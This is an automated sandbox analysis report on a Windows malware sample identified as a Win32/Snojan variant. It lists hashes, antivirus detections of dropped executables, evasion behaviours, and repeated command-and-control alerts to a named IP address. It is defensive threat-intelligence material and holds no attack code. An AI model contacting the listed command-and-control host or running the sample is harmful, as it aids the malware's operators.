Edit tour

Windows Analysis Report
Yx1Wz608PO.exe

Overview

General Information

Sample name:	Yx1Wz608PO.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original sample name:	85a6e921e4d5107d13c1eb8647b130a1d54ba2b6409118be7945fd71c6c8235f
Analysis ID:	1531091
MD5:	295f29368a4822ed7babaac02992ca00
SHA1:	01cbcf366462db800d4785f05c126e743f5bfe0e
SHA256:	85a6e921e4d5107d13c1eb8647b130a1d54ba2b6409118be7945fd71c6c8235f
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Machine Learning detection for dropped file

Machine Learning detection for sample

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

Yx1Wz608PO.exe (PID: 7420 cmdline: "C:\Users\user\Desktop\Yx1Wz608PO.exe" MD5: 295F29368A4822ED7BABAAC02992CA00)

conhost.exe (PID: 7428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Suricata Signatures

ETPRO MALWARE Win32/Snojan Variant Uploading EXE

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T21:01:13.280336+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49730	104.21.59.199	80	TCP
2024-10-10T21:01:14.206001+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49731	104.21.59.199	80	TCP
2024-10-10T21:01:15.333401+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49732	104.21.59.199	80	TCP
2024-10-10T21:01:16.354871+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49733	104.21.59.199	80	TCP
2024-10-10T21:01:17.320101+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49734	104.21.59.199	80	TCP
2024-10-10T21:01:18.280244+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49735	104.21.59.199	80	TCP
2024-10-10T21:01:19.191592+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49736	104.21.59.199	80	TCP
2024-10-10T21:01:20.188029+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49737	104.21.59.199	80	TCP
2024-10-10T21:01:21.109943+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49738	104.21.59.199	80	TCP
2024-10-10T21:01:22.100705+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49739	104.21.59.199	80	TCP
2024-10-10T21:01:23.193259+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49740	104.21.59.199	80	TCP
2024-10-10T21:01:24.148079+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49741	104.21.59.199	80	TCP
2024-10-10T21:01:25.165784+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49742	104.21.59.199	80	TCP
2024-10-10T21:01:26.128868+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49743	104.21.59.199	80	TCP
2024-10-10T21:01:27.093017+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49744	104.21.59.199	80	TCP
2024-10-10T21:01:28.115972+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49745	104.21.59.199	80	TCP
2024-10-10T21:01:29.109047+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49747	104.21.59.199	80	TCP
2024-10-10T21:01:30.098980+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49749	104.21.59.199	80	TCP
2024-10-10T21:01:31.392322+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49752	104.21.59.199	80	TCP
2024-10-10T21:01:32.305994+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49754	104.21.59.199	80	TCP
2024-10-10T21:01:33.476145+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49756	104.21.59.199	80	TCP
2024-10-10T21:01:34.378294+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49757	104.21.59.199	80	TCP
2024-10-10T21:01:35.293531+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49758	104.21.59.199	80	TCP
2024-10-10T21:01:36.407466+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49759	104.21.59.199	80	TCP
2024-10-10T21:01:38.405274+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49760	104.21.59.199	80	TCP
2024-10-10T21:01:39.441451+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49761	104.21.59.199	80	TCP
2024-10-10T21:01:40.418029+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49762	104.21.59.199	80	TCP
2024-10-10T21:01:41.646220+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49763	104.21.59.199	80	TCP
2024-10-10T21:01:42.567793+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49764	104.21.59.199	80	TCP
2024-10-10T21:01:43.600812+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49765	104.21.59.199	80	TCP
2024-10-10T21:01:44.573878+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49766	104.21.59.199	80	TCP
2024-10-10T21:01:45.514127+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49767	104.21.59.199	80	TCP
2024-10-10T21:01:46.812952+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49768	104.21.59.199	80	TCP
2024-10-10T21:01:48.014638+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49769	104.21.59.199	80	TCP
2024-10-10T21:01:48.998094+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49770	104.21.59.199	80	TCP
2024-10-10T21:01:49.914205+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49771	104.21.59.199	80	TCP
2024-10-10T21:01:50.910679+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49772	104.21.59.199	80	TCP
2024-10-10T21:01:52.280066+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49773	104.21.59.199	80	TCP
2024-10-10T21:01:53.238863+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49774	104.21.59.199	80	TCP
2024-10-10T21:01:54.436582+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49775	104.21.59.199	80	TCP
2024-10-10T21:01:55.428197+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49776	104.21.59.199	80	TCP
2024-10-10T21:01:56.350393+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	49777	104.21.59.199	80	TCP
2024-10-10T21:01:57.318013+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50334	104.21.59.199	80	TCP
2024-10-10T21:01:58.252318+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50337	104.21.59.199	80	TCP
2024-10-10T21:01:59.181400+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50338	104.21.59.199	80	TCP
2024-10-10T21:02:00.300640+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50339	104.21.59.199	80	TCP
2024-10-10T21:02:01.243943+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50340	104.21.59.199	80	TCP
2024-10-10T21:02:02.192794+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50341	104.21.59.199	80	TCP
2024-10-10T21:02:03.111687+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50342	104.21.59.199	80	TCP
2024-10-10T21:02:04.074909+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50343	104.21.59.199	80	TCP
2024-10-10T21:02:05.275526+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50344	104.21.59.199	80	TCP
2024-10-10T21:02:06.172104+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50345	104.21.59.199	80	TCP
2024-10-10T21:02:07.076737+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50346	104.21.59.199	80	TCP
2024-10-10T21:02:08.202330+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50347	104.21.59.199	80	TCP
2024-10-10T21:02:09.494215+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50348	104.21.59.199	80	TCP
2024-10-10T21:02:10.645802+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50349	104.21.59.199	80	TCP
2024-10-10T21:02:11.696092+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50351	104.21.59.199	80	TCP
2024-10-10T21:02:12.709137+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50357	104.21.59.199	80	TCP
2024-10-10T21:02:13.749828+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50363	104.21.59.199	80	TCP
2024-10-10T21:02:14.710191+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50369	104.21.59.199	80	TCP
2024-10-10T21:02:15.626871+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50374	104.21.59.199	80	TCP
2024-10-10T21:02:16.562903+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50380	104.21.59.199	80	TCP
2024-10-10T21:02:17.590547+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50388	104.21.59.199	80	TCP
2024-10-10T21:02:18.495882+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50394	104.21.59.199	80	TCP
2024-10-10T21:02:19.472276+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50400	104.21.59.199	80	TCP
2024-10-10T21:02:20.391386+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50406	104.21.59.199	80	TCP
2024-10-10T21:02:21.467251+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50415	104.21.59.199	80	TCP
2024-10-10T21:02:22.554098+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50420	104.21.59.199	80	TCP
2024-10-10T21:02:23.621543+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50425	104.21.59.199	80	TCP
2024-10-10T21:02:24.538535+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50431	104.21.59.199	80	TCP
2024-10-10T21:02:25.450152+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50436	104.21.59.199	80	TCP
2024-10-10T21:02:26.351216+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50441	104.21.59.199	80	TCP
2024-10-10T21:02:27.317869+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50447	104.21.59.199	80	TCP
2024-10-10T21:02:28.212447+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50453	104.21.59.199	80	TCP
2024-10-10T21:02:29.479089+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50461	104.21.59.199	80	TCP
2024-10-10T21:02:30.475618+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50467	104.21.59.199	80	TCP
2024-10-10T21:02:31.514904+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50472	104.21.59.199	80	TCP
2024-10-10T21:02:32.664903+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50477	104.21.59.199	80	TCP
2024-10-10T21:02:33.639798+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50482	104.21.59.199	80	TCP
2024-10-10T21:02:35.042943+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50487	104.21.59.199	80	TCP
2024-10-10T21:02:35.955218+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50495	104.21.59.199	80	TCP
2024-10-10T21:02:36.850964+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50505	104.21.59.199	80	TCP
2024-10-10T21:02:37.751303+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50511	104.21.59.199	80	TCP
2024-10-10T21:02:39.289238+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50517	104.21.59.199	80	TCP
2024-10-10T21:02:40.231333+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50528	104.21.59.199	80	TCP
2024-10-10T21:02:41.592764+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50534	104.21.59.199	80	TCP
2024-10-10T21:02:42.874732+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50540	104.21.59.199	80	TCP
2024-10-10T21:02:43.841079+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50546	104.21.59.199	80	TCP
2024-10-10T21:02:45.680453+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50552	104.21.59.199	80	TCP
2024-10-10T21:02:46.710807+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50563	104.21.59.199	80	TCP
2024-10-10T21:02:47.898924+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50569	104.21.59.199	80	TCP
2024-10-10T21:02:49.198041+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50575	104.21.59.199	80	TCP
2024-10-10T21:02:50.850165+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50581	104.21.59.199	80	TCP
2024-10-10T21:02:51.820068+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50587	104.21.59.199	80	TCP
2024-10-10T21:02:52.759355+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50597	104.21.59.199	80	TCP
2024-10-10T21:02:53.638654+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50604	104.21.59.199	80	TCP
2024-10-10T21:02:54.553442+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50610	104.21.59.199	80	TCP
2024-10-10T21:02:55.659638+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50616	104.21.59.199	80	TCP
2024-10-10T21:02:56.577221+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50622	104.21.59.199	80	TCP
2024-10-10T21:02:57.533371+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50629	104.21.59.199	80	TCP
2024-10-10T21:02:58.570684+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50635	104.21.59.199	80	TCP
2024-10-10T21:02:59.566740+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50645	104.21.59.199	80	TCP
2024-10-10T21:03:00.861630+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50651	104.21.59.199	80	TCP
2024-10-10T21:03:02.115917+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50658	104.21.59.199	80	TCP
2024-10-10T21:03:03.244282+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50664	104.21.59.199	80	TCP
2024-10-10T21:03:04.271092+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50667	104.21.59.199	80	TCP
2024-10-10T21:03:05.504808+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50668	104.21.59.199	80	TCP
2024-10-10T21:03:06.553840+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50669	104.21.59.199	80	TCP
2024-10-10T21:03:07.456200+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50670	104.21.59.199	80	TCP
2024-10-10T21:03:08.684980+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50671	104.21.59.199	80	TCP
2024-10-10T21:03:09.642859+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50672	104.21.59.199	80	TCP
2024-10-10T21:03:10.759464+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50673	104.21.59.199	80	TCP
2024-10-10T21:03:11.942620+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50674	104.21.59.199	80	TCP
2024-10-10T21:03:12.924145+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50675	104.21.59.199	80	TCP
2024-10-10T21:03:13.918044+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50676	104.21.59.199	80	TCP
2024-10-10T21:03:14.886408+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50677	104.21.59.199	80	TCP
2024-10-10T21:03:17.497464+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50678	104.21.59.199	80	TCP
2024-10-10T21:03:18.424281+0200	2839369	1	Malware Command and Control Activity Detected	192.168.2.4	50679	104.21.59.199	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Yx1Wz608PO.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\rifaien2-AjoycwODvDSL5IAO.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-1u0hu8IxGgzV53b3.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-AbJq5JvGluWbFwwZ.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-7c2sZoOt8ZtCld1t.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-2ZT16A8KKoDdHefl.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-7bKKZTcwZ1AvB69O.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-3v9iLS8WuKhI5HYt.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-5nuJmBGqOVTVsVLa.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-6Q71fxUu8dtMFFZU.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-9KCDfoTvJTmqygky.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-96Wr0t4vpAyIwn2t.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-4cVt4GKfpP1OEa7u.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-0Jvg60acvlNTEetj.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-0G3Ju1SgiNMbtyyd.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-BxQHxwmcvdOeGoyr.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-COs3jWZ0Jp7WCrwG.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-9ZuBld8Y8200Rptx.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-6wusbbrgmMpcBTFV.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-6R5WtqjpUktSTdyX.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-A57jwvvBTZZBhtF8.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-04RCQxCd2dv0My0K.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-3Yd5eRNryysSeb1S.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-2McOOOA0Nrrao2kH.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-5JMaNQJ1bicgDKr9.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-7tNM8tQoTbkooJnZ.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-DlmIbpKoNTOiCR62.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-9PANsJP5rpGyNZO8.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-A6jVTXjeaWbirx4X.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-BtW7KCBSW9z60IjW.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-AJCcQtfVrsedwKsZ.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2
Source: C:\Users\user\Desktop\rifaien2-BGQBJ4RqEFRi5PE5.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen2

Multi AV Scanner detection for submitted file

Source: Yx1Wz608PO.exe

ReversingLabs: Detection: 84%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 90.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\rifaien2-AjoycwODvDSL5IAO.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-1u0hu8IxGgzV53b3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-AbJq5JvGluWbFwwZ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-7c2sZoOt8ZtCld1t.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-2ZT16A8KKoDdHefl.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-7bKKZTcwZ1AvB69O.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-3v9iLS8WuKhI5HYt.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-5nuJmBGqOVTVsVLa.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-6Q71fxUu8dtMFFZU.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-9KCDfoTvJTmqygky.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-96Wr0t4vpAyIwn2t.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-4cVt4GKfpP1OEa7u.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-0Jvg60acvlNTEetj.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-0G3Ju1SgiNMbtyyd.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-BxQHxwmcvdOeGoyr.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-COs3jWZ0Jp7WCrwG.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-9ZuBld8Y8200Rptx.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-6wusbbrgmMpcBTFV.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-6R5WtqjpUktSTdyX.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-A57jwvvBTZZBhtF8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-04RCQxCd2dv0My0K.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-3Yd5eRNryysSeb1S.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-2McOOOA0Nrrao2kH.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-5JMaNQJ1bicgDKr9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-7tNM8tQoTbkooJnZ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-DlmIbpKoNTOiCR62.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-9PANsJP5rpGyNZO8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-A6jVTXjeaWbirx4X.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-BtW7KCBSW9z60IjW.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-AJCcQtfVrsedwKsZ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rifaien2-BGQBJ4RqEFRi5PE5.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Yx1Wz608PO.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Code function: 0_2_0041C97D CryptHashData,	0_2_0041C97D
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Code function: 0_2_0041C90E CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_0041C90E
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Code function: 0_2_0041C998 CryptAcquireContextA,CryptCreateHash,	0_2_0041C998

Source: Yx1Wz608PO.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49735 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49738 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49733 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49730 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49737 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49732 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49756 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49731 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49743 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49734 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49749 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49739 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49742 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49741 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49736 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49744 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49740 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49770 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49759 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49771 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49747 -> 104.21.59.199:80
